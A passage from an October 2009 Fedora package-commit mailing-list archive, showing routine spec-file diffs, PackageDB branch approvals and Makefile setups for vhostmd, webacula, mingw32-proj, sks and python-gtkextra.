-# Fix --without-xenstore option.  Patch posted upstream on 2009-10-13.
-Patch0:        0001-Further-changes-to-avoid-using-xenstore.patch
-
 BuildRequires: chrpath
 BuildRequires: pkgconfig
 BuildRequires: libxml2-devel
 BuildRequires: libvirt-devel
 
-# Used when we are patching autotools configuration.
-BuildRequires: automake, autoconf, libtool
-
 %if %{have_xen}
 BuildRequires: xen-devel
 %endif
@@ -42,6 +36,7 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
+Requires(pre): shadow-utils
 
 
 %description 
@@ -74,9 +69,6 @@ Header and libraries necessary for metri
 %prep
 %setup -q
 
-%patch0 -p1
-./autogen.sh
-
 
 %build
 %configure \
@@ -144,6 +136,14 @@ fi
 %postun -n vm-dump-metrics -p /sbin/ldconfig
 
 
+%pre
+getent group vhostmd >/dev/null || groupadd -r vhostmd
+getent passwd vhostmd >/dev/null || \
+useradd -r -g vhostmd -d %{_datadir}/vhostmd -s /sbin/nologin \
+-c "Virtual Host Metrics Daemon" vhostmd
+exit 0
+
+
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS ChangeLog COPYING README
@@ -183,6 +183,13 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
+- New upstream based on git ea2f772d.
+- Update the configuration file based on upstream changes to how virsh
+  has to be run.
+- vhostmd should run non-root as user 'vhostmd'.
+- Allow libvirt URI to be configured.
+
 * Tue Oct 13 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.1.git326f0012172
 - Move to pre-release of 0.4, self-built tarball.
 - Disable xenstore on non-x86 platforms.


Index: vhostmd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/vhostmd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.sysconfig	13 Oct 2009 17:57:10 -0000	1.1
+++ vhostmd.sysconfig	15 Oct 2009 17:29:08 -0000	1.2
@@ -3,3 +3,9 @@
 
 # Override the default configuration file path.
 #VHOSTMD_CONFIG=/path/to/vhostmd.conf
+
+# Set the user that the daemon runs as after dropping root privs.
+VHOSTMD_USER=vhostmd
+
+# Set the libvirt URI.
+VHOSTMD_URI=qemu:///system


--- 0001-Further-changes-to-avoid-using-xenstore.patch DELETED ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:31:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:31:11 +0000
Subject: [pkgdb] webacula was added for tim4dev
Message-ID: <20091015173111.EAC6510F85A@bastion2.fedora.phx.redhat.com>

kevin has added Package webacula with summary web interface of a Bacula backup system
kevin has approved Package webacula
kevin has added a Fedora devel branch for webacula with an owner of tim4dev
kevin has approved webacula in Fedora devel
kevin has approved Package webacula
kevin has set commit to Approved for 107427 on webacula (Fedora devel)
kevin has set checkout to Approved for 107427 on webacula (Fedora devel)
kevin has set build to Approved for 107427 on webacula (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/webacula



From pkgdb at fedoraproject.org  Thu Oct 15 17:31:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:31:13 +0000
Subject: [pkgdb] webacula summary updated by kevin
Message-ID: <20091015173113.AE15110F882@bastion2.fedora.phx.redhat.com>

kevin set package webacula summary to web interface of a Bacula backup system

To make changes to this package see:
  /pkgdb/packages/name/webacula



From pkgdb at fedoraproject.org  Thu Oct 15 17:31:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:31:13 +0000
Subject: [pkgdb] webacula (Fedora EPEL, 5) updated by kevin
Message-ID: <20091015173113.B8E4310F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for webacula
kevin has set commit to Approved for 107427 on webacula (Fedora 11)
kevin has set checkout to Approved for 107427 on webacula (Fedora 11)
kevin has set build to Approved for 107427 on webacula (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/webacula



From pkgdb at fedoraproject.org  Thu Oct 15 17:31:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:31:13 +0000
Subject: [pkgdb] webacula (Fedora EPEL, 5) updated by kevin
Message-ID: <20091015173113.C91B210F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for webacula
kevin has set commit to Approved for 107427 on webacula (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on webacula (Fedora EPEL 5)
kevin has set build to Approved for 107427 on webacula (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/webacula



From pkgdb at fedoraproject.org  Thu Oct 15 17:31:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:31:13 +0000
Subject: [pkgdb] webacula (Fedora EPEL, 5) updated by kevin
Message-ID: <20091015173113.D28FB10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for webacula
kevin has set commit to Approved for 107427 on webacula (Fedora 12)
kevin has set checkout to Approved for 107427 on webacula (Fedora 12)
kevin has set build to Approved for 107427 on webacula (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/webacula



From kevin at fedoraproject.org  Thu Oct 15 17:31:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:31:21 +0000 (UTC)
Subject: rpms/webacula - New directory
Message-ID: <20091015173121.14AD311C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/webacula
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsz21616/rpms/webacula

Log Message:
Directory /cvs/pkgs/rpms/webacula added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:31:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:31:21 +0000 (UTC)
Subject: rpms/webacula/devel - New directory
Message-ID: <20091015173121.338BB11C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/webacula/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsz21616/rpms/webacula/devel

Log Message:
Directory /cvs/pkgs/rpms/webacula/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:31:28 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:31:28 +0000 (UTC)
Subject: rpms/webacula Makefile,NONE,1.1
Message-ID: <20091015173128.0266711C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/webacula
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsz21616/rpms/webacula

Added Files:
	Makefile 
Log Message:
Setup of module webacula


--- NEW FILE Makefile ---
# Top level Makefile for module webacula
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:31:28 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:31:28 +0000 (UTC)
Subject: rpms/webacula/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015173128.4573011C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/webacula/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsz21616/rpms/webacula/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module webacula


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: webacula
# $Id: Makefile,v 1.1 2009/10/15 17:31:28 kevin Exp $
NAME := webacula
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:32:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:32:16 +0000
Subject: [pkgdb] mingw32-proj was added for adsllc
Message-ID: <20091015173216.E3BF510F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package mingw32-proj with summary MinGW port of the proj cartographic projection library
kevin has approved Package mingw32-proj
kevin has added a Fedora devel branch for mingw32-proj with an owner of adsllc
kevin has approved mingw32-proj in Fedora devel
kevin has approved Package mingw32-proj
kevin has set commit to Approved for 107427 on mingw32-proj (Fedora devel)
kevin has set checkout to Approved for 107427 on mingw32-proj (Fedora devel)
kevin has set build to Approved for 107427 on mingw32-proj (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-proj



From pkgdb at fedoraproject.org  Thu Oct 15 17:32:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:32:18 +0000
Subject: [pkgdb] mingw32-proj summary updated by kevin
Message-ID: <20091015173218.E299110F889@bastion2.fedora.phx.redhat.com>

kevin set package mingw32-proj summary to MinGW port of the proj cartographic projection library

To make changes to this package see:
  /pkgdb/packages/name/mingw32-proj



From pkgdb at fedoraproject.org  Thu Oct 15 17:32:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:32:18 +0000
Subject: [pkgdb] mingw32-proj (Fedora, 10) updated by kevin
Message-ID: <20091015173218.EDAD210F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for mingw32-proj
kevin has set commit to Approved for 107427 on mingw32-proj (Fedora 10)
kevin has set checkout to Approved for 107427 on mingw32-proj (Fedora 10)
kevin has set build to Approved for 107427 on mingw32-proj (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-proj



From pkgdb at fedoraproject.org  Thu Oct 15 17:32:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:32:18 +0000
Subject: [pkgdb] mingw32-proj (Fedora, 10) updated by kevin
Message-ID: <20091015173219.687F210F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for mingw32-proj
kevin has set commit to Approved for 107427 on mingw32-proj (Fedora 11)
kevin has set checkout to Approved for 107427 on mingw32-proj (Fedora 11)
kevin has set build to Approved for 107427 on mingw32-proj (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-proj



From pkgdb at fedoraproject.org  Thu Oct 15 17:32:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:32:18 +0000
Subject: [pkgdb] mingw32-proj (Fedora, 10) updated by kevin
Message-ID: <20091015173219.6FDFE10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for mingw32-proj
kevin has set commit to Approved for 107427 on mingw32-proj (Fedora 12)
kevin has set checkout to Approved for 107427 on mingw32-proj (Fedora 12)
kevin has set build to Approved for 107427 on mingw32-proj (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-proj



From kevin at fedoraproject.org  Thu Oct 15 17:32:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:32:27 +0000 (UTC)
Subject: rpms/mingw32-proj - New directory
Message-ID: <20091015173227.164DC11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mingw32-proj
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP22058/rpms/mingw32-proj

Log Message:
Directory /cvs/pkgs/rpms/mingw32-proj added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:32:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:32:27 +0000 (UTC)
Subject: rpms/mingw32-proj/devel - New directory
Message-ID: <20091015173227.39A9411C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mingw32-proj/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP22058/rpms/mingw32-proj/devel

Log Message:
Directory /cvs/pkgs/rpms/mingw32-proj/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:32:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:32:34 +0000 (UTC)
Subject: rpms/mingw32-proj/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015173234.70B4111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mingw32-proj/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP22058/rpms/mingw32-proj/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module mingw32-proj


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: mingw32-proj
# $Id: Makefile,v 1.1 2009/10/15 17:32:34 kevin Exp $
NAME := mingw32-proj
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Thu Oct 15 17:32:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:32:34 +0000 (UTC)
Subject: rpms/mingw32-proj Makefile,NONE,1.1
Message-ID: <20091015173234.32BA511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mingw32-proj
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP22058/rpms/mingw32-proj

Added Files:
	Makefile 
Log Message:
Setup of module mingw32-proj


--- NEW FILE Makefile ---
# Top level Makefile for module mingw32-proj
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From nb at fedoraproject.org  Thu Oct 15 17:35:58 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Thu, 15 Oct 2009 17:35:58 +0000 (UTC)
Subject: rpms/sks/F-12 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091015173558.8A1F811C00DB@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/sks/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23242

Modified Files:
	.cvsignore sources 
Log Message:
Initial commit of sks 1.1.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sks/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:15:48 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:35:58 -0000	1.2
@@ -0,0 +1 @@
+sks-1.1.1.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sks/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:15:48 -0000	1.1
+++ sources	15 Oct 2009 17:35:58 -0000	1.2
@@ -0,0 +1 @@
+120361b88cf6820c108c6746ac464488  sks-1.1.1.tgz



From nb at fedoraproject.org  Thu Oct 15 17:36:44 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Thu, 15 Oct 2009 17:36:44 +0000 (UTC)
Subject: rpms/sks/F-12 sks-1.1.1-libdb.patch,NONE,1.1 sks.spec,NONE,1.1
Message-ID: <20091015173644.6C4B811C00DB@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/sks/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23571

Added Files:
	sks-1.1.1-libdb.patch sks.spec 
Log Message:
Initial commit of sks 1.1.1

sks-1.1.1-libdb.patch:
 Makefile.local.unused |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sks-1.1.1-libdb.patch ---
Common subdirectories: sks-1.1.1/bdb and sks-1.1.1-patched/bdb
diff -u sks-1.1.1/Makefile.local.unused sks-1.1.1-patched/Makefile.local.unused
--- sks-1.1.1/Makefile.local.unused	2009-03-25 20:18:03.000000000 -0500
+++ sks-1.1.1-patched/Makefile.local.unused	2009-10-13 16:54:17.835163112 -0500
@@ -1,7 +1,7 @@
 BDBLIB=-L/usr/lib
 BDBINCLUDE=-I/usr/include
 PREFIX=/usr/local
-LIBDB=-ldb-4.6
+LIBDB=-ldb-4.7
 MANDIR=/usr/share/man
 export BDBLIB
 export BDBINCLUDE


--- NEW FILE sks.spec ---
Summary:        Synchronizing Key Server
Name:           sks
Version:        1.1.1
Release:        2%{?dist}
License:        GPLv2+
Group:          System Environment/Daemons
URL:            http://code.google.com/p/sks-keyserver/
Source0:        http://sks-keyserver.googlecode.com/files/sks-1.1.1.tgz
Patch0:         sks-1.1.1-libdb.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
BuildRequires:  ocaml ocaml-camlp4-devel db4-devel zlib-devel chrpath

%description
SKS is a OpenPGP keyserver whose goal is to provide easy to
deploy, decentralized, and highly reliable synchronization.

%prep
%setup -q
%patch0 -p1

%build
%__mv Makefile.local.unused Makefile.local
%__make dep
%__make CFLAGS="$RPM_OPT_FLAGS -I`ocamlc -where` -I ." all

%install
%__rm -Rf "%{buildroot}"
%__make install PREFIX="%{buildroot}%{_prefix}" MANDIR="%{buildroot}%{_mandir}"
chmod -x %{buildroot}%{_mandir}/man8/sks.8.gz
chrpath --delete %{buildroot}%{_bindir}/sks

%clean
%__rm -Rf "%{buildroot}"

%files
%defattr(-,root,root)
%doc BUGS CHANGELOG COPYING FILES README TODO VERSION
%{_bindir}/sks
%{_bindir}/sks_build.sh
%{_bindir}/sks_add_mail
%{_mandir}/man8/sks.8.gz

%changelog
* Wed Oct 14 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-2
- Add CFLAGS to make all
* Tue Oct 13 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-1
- Initial Fedora package based on 1.1.1 of sks



From nb at fedoraproject.org  Thu Oct 15 17:39:25 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Thu, 15 Oct 2009 17:39:25 +0000 (UTC)
Subject: rpms/sks/F-11 sks-1.1.1-libdb.patch, NONE, 1.1 sks.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015173925.DE6D511C00DB@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/sks/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24444

Modified Files:
	.cvsignore sources 
Added Files:
	sks-1.1.1-libdb.patch sks.spec 
Log Message:
Initial commit of sks 1.1.1

sks-1.1.1-libdb.patch:
 Makefile.local.unused |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sks-1.1.1-libdb.patch ---
Common subdirectories: sks-1.1.1/bdb and sks-1.1.1-patched/bdb
diff -u sks-1.1.1/Makefile.local.unused sks-1.1.1-patched/Makefile.local.unused
--- sks-1.1.1/Makefile.local.unused	2009-03-25 20:18:03.000000000 -0500
+++ sks-1.1.1-patched/Makefile.local.unused	2009-10-13 16:54:17.835163112 -0500
@@ -1,7 +1,7 @@
 BDBLIB=-L/usr/lib
 BDBINCLUDE=-I/usr/include
 PREFIX=/usr/local
-LIBDB=-ldb-4.6
+LIBDB=-ldb-4.7
 MANDIR=/usr/share/man
 export BDBLIB
 export BDBINCLUDE


--- NEW FILE sks.spec ---
Summary:        Synchronizing Key Server
Name:           sks
Version:        1.1.1
Release:        2%{?dist}
License:        GPLv2+
Group:          System Environment/Daemons
URL:            http://code.google.com/p/sks-keyserver/
Source0:        http://sks-keyserver.googlecode.com/files/sks-1.1.1.tgz
Patch0:         sks-1.1.1-libdb.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
BuildRequires:  ocaml ocaml-camlp4-devel db4-devel zlib-devel chrpath

%description
SKS is a OpenPGP keyserver whose goal is to provide easy to
deploy, decentralized, and highly reliable synchronization.

%prep
%setup -q
%patch0 -p1

%build
%__mv Makefile.local.unused Makefile.local
%__make dep
%__make CFLAGS="$RPM_OPT_FLAGS -I`ocamlc -where` -I ." all

%install
%__rm -Rf "%{buildroot}"
%__make install PREFIX="%{buildroot}%{_prefix}" MANDIR="%{buildroot}%{_mandir}"
chmod -x %{buildroot}%{_mandir}/man8/sks.8.gz
chrpath --delete %{buildroot}%{_bindir}/sks

%clean
%__rm -Rf "%{buildroot}"

%files
%defattr(-,root,root)
%doc BUGS CHANGELOG COPYING FILES README TODO VERSION
%{_bindir}/sks
%{_bindir}/sks_build.sh
%{_bindir}/sks_add_mail
%{_mandir}/man8/sks.8.gz

%changelog
* Wed Oct 14 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-2
- Add CFLAGS to make all
* Tue Oct 13 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-1
- Initial Fedora package based on 1.1.1 of sks


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sks/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:15:48 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:39:25 -0000	1.2
@@ -0,0 +1 @@
+sks-1.1.1.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sks/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:15:48 -0000	1.1
+++ sources	15 Oct 2009 17:39:25 -0000	1.2
@@ -0,0 +1 @@
+120361b88cf6820c108c6746ac464488  sks-1.1.1.tgz



From mitr at fedoraproject.org  Thu Oct 15 17:40:00 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu, 15 Oct 2009 17:40:00 +0000 (UTC)
Subject: rpms/python-gtkextra/devel python-gtkextra.spec,1.8,1.9
Message-ID: <20091015174000.532AA11C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/python-gtkextra/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24574

Modified Files:
	python-gtkextra.spec 
Log Message:
* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 1.1.0-10
- Add dist tag



Index: python-gtkextra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-gtkextra/devel/python-gtkextra.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- python-gtkextra.spec	26 Jul 2009 20:26:12 -0000	1.8
+++ python-gtkextra.spec	15 Oct 2009 17:40:00 -0000	1.9
@@ -3,7 +3,7 @@
 Summary: Python bindings for gtkextra
 Name: python-gtkextra
 Version: 1.1.0
-Release: 9
+Release: 10%{?dist}
 # FIXME: the license is not quite clear, using the most restrictive license
 # for this field.  See
 # http://sourceforge.net/tracker/index.php?func=detail&aid=1941652&group_id=35371&atid=414148
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pygtk/2.0/defs/gtkextra*.defs
 
 %changelog
+* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 1.1.0-10
+- Add dist tag
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mitr at fedoraproject.org  Thu Oct 15 17:47:11 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu, 15 Oct 2009 17:47:11 +0000 (UTC)
Subject: rpms/python-gtkextra/F-12 python-gtkextra.spec,1.8,1.9
Message-ID: <20091015174711.849B711C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/python-gtkextra/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27251

Modified Files:
	python-gtkextra.spec 
Log Message:
* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 1.1.0-10
- Add dist tag



Index: python-gtkextra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-gtkextra/F-12/python-gtkextra.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- python-gtkextra.spec	26 Jul 2009 20:26:12 -0000	1.8
+++ python-gtkextra.spec	15 Oct 2009 17:47:11 -0000	1.9
@@ -3,7 +3,7 @@
 Summary: Python bindings for gtkextra
 Name: python-gtkextra
 Version: 1.1.0
-Release: 9
+Release: 10%{?dist}
 # FIXME: the license is not quite clear, using the most restrictive license
 # for this field.  See
 # http://sourceforge.net/tracker/index.php?func=detail&aid=1941652&group_id=35371&atid=414148
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pygtk/2.0/defs/gtkextra*.defs
 
 %changelog
+* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 1.1.0-10
+- Add dist tag
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From nb at fedoraproject.org  Thu Oct 15 17:52:48 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Thu, 15 Oct 2009 17:52:48 +0000 (UTC)
Subject: rpms/sks/F-10 sks-1.1.1-libdb.patch, NONE, 1.1 sks.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015175248.23DC611C00DB@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/sks/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28834

Modified Files:
	.cvsignore sources 
Added Files:
	sks-1.1.1-libdb.patch sks.spec 
Log Message:
Initial commit of sks 1.1.1

sks-1.1.1-libdb.patch:
 Makefile.local.unused |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sks-1.1.1-libdb.patch ---
Common subdirectories: sks-1.1.1/bdb and sks-1.1.1-patched/bdb
diff -u sks-1.1.1/Makefile.local.unused sks-1.1.1-patched/Makefile.local.unused
--- sks-1.1.1/Makefile.local.unused	2009-03-25 20:18:03.000000000 -0500
+++ sks-1.1.1-patched/Makefile.local.unused	2009-10-13 16:54:17.835163112 -0500
@@ -1,7 +1,7 @@
 BDBLIB=-L/usr/lib
 BDBINCLUDE=-I/usr/include
 PREFIX=/usr/local
-LIBDB=-ldb-4.6
+LIBDB=-ldb-4.7
 MANDIR=/usr/share/man
 export BDBLIB
 export BDBINCLUDE


--- NEW FILE sks.spec ---
Summary:        Synchronizing Key Server
Name:           sks
Version:        1.1.1
Release:        2%{?dist}
License:        GPLv2+
Group:          System Environment/Daemons
URL:            http://code.google.com/p/sks-keyserver/
Source0:        http://sks-keyserver.googlecode.com/files/sks-1.1.1.tgz
Patch0:         sks-1.1.1-libdb.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
BuildRequires:  ocaml ocaml-camlp4-devel db4-devel zlib-devel chrpath

%description
SKS is a OpenPGP keyserver whose goal is to provide easy to
deploy, decentralized, and highly reliable synchronization.

%prep
%setup -q
%patch0 -p1

%build
%__mv Makefile.local.unused Makefile.local
%__make dep
%__make CFLAGS="$RPM_OPT_FLAGS -I`ocamlc -where` -I ." all

%install
%__rm -Rf "%{buildroot}"
%__make install PREFIX="%{buildroot}%{_prefix}" MANDIR="%{buildroot}%{_mandir}"
chmod -x %{buildroot}%{_mandir}/man8/sks.8.gz
chrpath --delete %{buildroot}%{_bindir}/sks

%clean
%__rm -Rf "%{buildroot}"

%files
%defattr(-,root,root)
%doc BUGS CHANGELOG COPYING FILES README TODO VERSION
%{_bindir}/sks
%{_bindir}/sks_build.sh
%{_bindir}/sks_add_mail
%{_mandir}/man8/sks.8.gz

%changelog
* Wed Oct 14 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-2
- Add CFLAGS to make all
